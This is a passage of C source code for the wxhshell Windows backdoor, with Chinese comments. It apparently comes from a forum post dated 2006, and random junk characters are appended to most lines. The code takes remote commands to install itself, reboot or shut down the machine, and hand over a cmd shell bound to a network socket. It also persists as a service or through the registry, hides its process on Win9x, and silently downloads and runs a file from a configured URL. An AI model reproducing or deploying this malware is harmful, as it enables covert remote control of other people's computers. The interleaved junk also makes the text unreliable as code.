  } Bt#'6::  
  else { $=X>5B  
0>46ZzxUZ  
    switch(cmd[0]) { `e`DSl D>  
  ,hr v  
  // 帮助 "Ec9.#U/  
  case '?': { c[V.j+Iy#^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]rSg,Q >E  
    break; YNl".c  
  } (.iwD&  
  // 安装 sIbPMu`&U  
  case 'i': { j/q&qrlL  
    if(Install()) ~W={"n?=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `DE_<l  
    else +]( #!}oH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W9oWj7&h  
    break; 8GRB6-.h  
    } \3] O?'  
  // 卸载 $BT[fJ'k  
  case 'r': { GIT"J}b}  
    if(Uninstall()) HO_(it \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Q$a@)x#  
    else Q/]o'_[vW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sxS%1hp3  
    break; a#G3dY>  
    } 6xA xLZz<  
  // 显示 wxhshell 所在路径 jse!EtB:  
  case 'p': { (`_fP.Ogb  
    char svExeFile[MAX_PATH]; u.G aMl4 (  
    strcpy(svExeFile,"\n\r"); FhPCFmmUT  
      strcat(svExeFile,ExeFile); p-l FzNPc0  
        send(wsh,svExeFile,strlen(svExeFile),0); ]d~{8h!G  
    break; DUH DFG  
    } wW8[t8%43  
  // 重启 ,j9?9Z7R  
  case 'b': { ._t1eb`m{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4\nG Wi{2  
    if(Boot(REBOOT)) `8tstWYa]Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<wd~!>Ubu  
    else { m`n~-_  
    closesocket(wsh); r&Qa;-4Pl  
    ExitThread(0); #d<|_  
    } 4.uaWM)2  
    break; \{!,a  
    } KK5_;<  
  // 关机 -"{g kjuv  
  case 'd': { ,%BDBZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]T&d_~l   
    if(Boot(SHUTDOWN)) R/Z7}QW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -j2y#aP  
    else { Ml;` *;  
    closesocket(wsh); ?=^\kXc[  
    ExitThread(0); q9PjQ%  
    } l!KPgRw  
    break; kj.9\  
    } _<DOA:'v  
  // 获取shell 6`G8UDK>F  
  case 's': { XN>bv|*q  
    CmdShell(wsh); 4e;$+! dlV  
    closesocket(wsh); %3|/t-US  
    ExitThread(0); 4eG\>#5  
    break; LXsZk|IhM  
  } TI<3>R  
  // 退出 n)Cr<^j  
  case 'x': { <2]D3,.g.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ WPt zL  
    CloseIt(wsh); $cc]Av4c2  
    break; U 8p %MFD  
    } =yM%#{t&W  
  // 离开 g oyQ',+  
  case 'q': { lUA-ug! ^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bd)Cijr  
    closesocket(wsh); [}GK rI  
    WSACleanup(); B"\9slX  
    exit(1); nHH FHnFf  
    break; 9$U4x|n  
        } ggitUQ+t;G  
  } H~mp*S  
  } Q$ Dx:  
E/wxX#]\  
  // 提示信息 FC6~V6R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % ;R&cSZ  
} V82I%gPF  
  } R".$x{{  
=$L+J O  
  return; cDzb}W*UM  
} }<@-=  
1-N+qNSD`  
// shell模块句柄 z*q+5p@~  
int CmdShell(SOCKET sock) C2\WvE%!  
{ 2/tx5Nc  
STARTUPINFO si; osd oL  
ZeroMemory(&si,sizeof(si)); vdQ#C G$/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; INp:;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `4X.UPJ  
PROCESS_INFORMATION ProcessInfo; 5*-RIs! 2  
char cmdline[]="cmd"; &Td)2Wt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c3ru4o*K  
  return 0; :g' 'GqGZ  
} zxIP-QaA  
HwZl"!;Mry  
// 自身启动模式 HC1<zW[  
int StartFromService(void) nCp_RJu  
{ e57R6g)4  
typedef struct b SgbvnJ  
{ ~k?wnw  
  DWORD ExitStatus; }{=}^c"t'  
  DWORD PebBaseAddress; /'E[03I~  
  DWORD AffinityMask; J~om e7L  
  DWORD BasePriority; {fHY[8su0  
  ULONG UniqueProcessId; NWPT89@l  
  ULONG InheritedFromUniqueProcessId; /{jt]8/;7  
}   PROCESS_BASIC_INFORMATION; yzT1Zg_ER  
=Ry8E2NuM  
PROCNTQSIP NtQueryInformationProcess; +kEM%z  
Yb_HvP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D)DD6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ;Ss!OFK  
/\uopa  
  HANDLE             hProcess; 'UxI-L t  
  PROCESS_BASIC_INFORMATION pbi; /Z!$bD  
@9n|5.i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vM!2?8bEFd  
  if(NULL == hInst ) return 0; jF j'6LT9/  
/]j{P4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gPc1oc(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :4Nv6X61  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L(u@%.S  
~o|sma5.  
  if (!NtQueryInformationProcess) return 0; o@_i&4[MW  
]B3+& g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2yZ~j_AF[  
  if(!hProcess) return 0; m ie~. "  
XTk :lzFH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |2n*Ds'  
DR3om;Uk  
  CloseHandle(hProcess); k\;D;e{  
wbcip8<t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n'{jc 6&|  
if(hProcess==NULL) return 0; x=L"qC9f/  
/wJ4hHY  
HMODULE hMod; $ BgaLJs/O  
char procName[255]; j6~`C ?(  
unsigned long cbNeeded; #a~BigZ[G  
}cGILH%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z;2& d<h  
~*y7%L4B  
  CloseHandle(hProcess); pY3/AO=  
.d[ ^&<^  
if(strstr(procName,"services")) return 1; // 以服务启动 dTCLE t.  
rr\9HA  
  return 0; // 注册表启动 bma.RCyY<  
} 3+d^Bpp4  
P]y{3y:XxM  
// 主模块 ?E V^H-rr  
int StartWxhshell(LPSTR lpCmdLine) .m8l\h^3  
{ KnA BFH  
  SOCKET wsl; @NL<v-t  
BOOL val=TRUE; 2)\MxvfOh  
  int port=0; { pQJ.QI  
  struct sockaddr_in door; Qt{V&Z7  
`AvK8Wh<+  
  if(wscfg.ws_autoins) Install(); 5 -|7I7(G$  
nvLdgu4P>  
port=atoi(lpCmdLine); <pa-C2Ky  
IA Ma  
if(port<=0) port=wscfg.ws_port; 2Q]W  
`$FX%p  
  WSADATA data; eFS$;3FP1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @M-Q|  
K0C"s 'q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k}E_1_S(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0F![<5X  
  door.sin_family = AF_INET; qNHI$r'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l<4P">M!.  
  door.sin_port = htons(port); N}NKQ]=  
a?GXVQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &Z!y>k%6  
closesocket(wsl); yih|6sd$F  
return 1; 2Og5e  
} ,xrA2  
cT@| $A  
  if(listen(wsl,2) == INVALID_SOCKET) { >eo[)Y  
closesocket(wsl); bx{njo1Mr  
return 1; _K{- 1ZYsi  
} v?6*n >R  
  Wxhshell(wsl); KaOXqFT=  
  WSACleanup(); }Rh%bf7,  
'U ZzH$h  
return 0; vL[IVBG^  
R2{]R&wtn0  
} Uf7ACv)Dn  
"fhQ{b$i  
// 以NT服务方式启动 YIZu{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <A|z   
{ bo<.pK$  
DWORD   status = 0; IgwHC0W  
  DWORD   specificError = 0xfffffff; !s/qqq:g  
Qnt }:M+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Nl,iz_2]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +$VDV4l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u {\>iQ   
  serviceStatus.dwWin32ExitCode     = 0; W)D?8*  
  serviceStatus.dwServiceSpecificExitCode = 0; B<-("P(q  
  serviceStatus.dwCheckPoint       = 0; )eZ}Kt+  
  serviceStatus.dwWaitHint       = 0; _w %:PnO  
??P\v0E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0m.`$nlV-  
  if (hServiceStatusHandle==0) return; fH_l2b[-3@  
;r6YIS4@  
status = GetLastError(); ;~$Q;m 1  
  if (status!=NO_ERROR) "x$L 2>9  
{ M[O22wFs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fJ _MuAv  
    serviceStatus.dwCheckPoint       = 0; R<Mp$K^b  
    serviceStatus.dwWaitHint       = 0; {: _*P TVk  
    serviceStatus.dwWin32ExitCode     = status; =?+w5oI0  
    serviceStatus.dwServiceSpecificExitCode = specificError; `W_&^>yl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ei'oZ  
    return; \h s7>5O^K  
  } -}sMOy`  
XY9%aT*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $0P16ZlPC  
  serviceStatus.dwCheckPoint       = 0; D$H&^,?N  
  serviceStatus.dwWaitHint       = 0; ''q;yKpaz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >Je$WE3  
} zd- *UF i  
qB K68B)  
// 处理NT服务事件,比如:启动、停止 2G5|J{4w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =N\$$3m?  
{ HN/YuP03[  
switch(fdwControl) NYg&8s.  
{ m8F \ESL  
case SERVICE_CONTROL_STOP: e]; IQ|  
  serviceStatus.dwWin32ExitCode = 0; |E$q S)y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }W!w  
  serviceStatus.dwCheckPoint   = 0; a;U)#*(5|v  
  serviceStatus.dwWaitHint     = 0; JgP%4)]LV  
  { A/}[Z\C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }2*qv4},!  
  } $RF.LVc  
  return; ,|?#+O{  
case SERVICE_CONTROL_PAUSE: N M),2%<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Wppl,"6c  
  break; <jYyA]Zy5  
case SERVICE_CONTROL_CONTINUE: <6hs<qXqi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nTs\zikP  
  break; r oG<2i F  
case SERVICE_CONTROL_INTERROGATE: b5jD /X4  
  break; | a i#rU  
}; >QN-K]YLL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,-k?"|tQ  
} +jq@!P"}d  
=^*EM<WG)  
// 标准应用程序主函数 "7Kw]8mRR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &"T7KXx  
{ IIXA)b!  
VJW8%s[  
// 获取操作系统版本 @V1FBw9S!@  
OsIsNt=GetOsVer(); Ygg(qB1q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QKvaTy#  
uX{g4#eG  
  // 从命令行安装 TPkP5w  
  if(strpbrk(lpCmdLine,"iI")) Install(); A~k: m0MX  
7TypzgXNe  
  // 下载执行文件  vmfFR  
if(wscfg.ws_downexe) { [4B (rra  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vfhoN]v  
  WinExec(wscfg.ws_filenam,SW_HIDE); $/JXI?K  
} P@5-3]m=  
r]QeP{  
if(!OsIsNt) { F/j ; q  
// 如果时win9x,隐藏进程并且设置为注册表启动 qQo*:3/];  
HideProc(); Pjvb}q=  
StartWxhshell(lpCmdLine); eL)m(  
} iny/K/5bf  
else %zEy.7Ux  
  if(StartFromService()) %'=TYvB 2  
  // 以服务方式启动 U Lq`!1{   
  StartServiceCtrlDispatcher(DispatchTable); QJR},nZ3  
else (8o;Cm  
  // 普通方式启动 .9g :-hv  
  StartWxhshell(lpCmdLine); tx+P@9M_Aq  
S}0-2T[  
return 0; }waZGJLN  
}
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只看该作者 1 发表于: 2006-10-10
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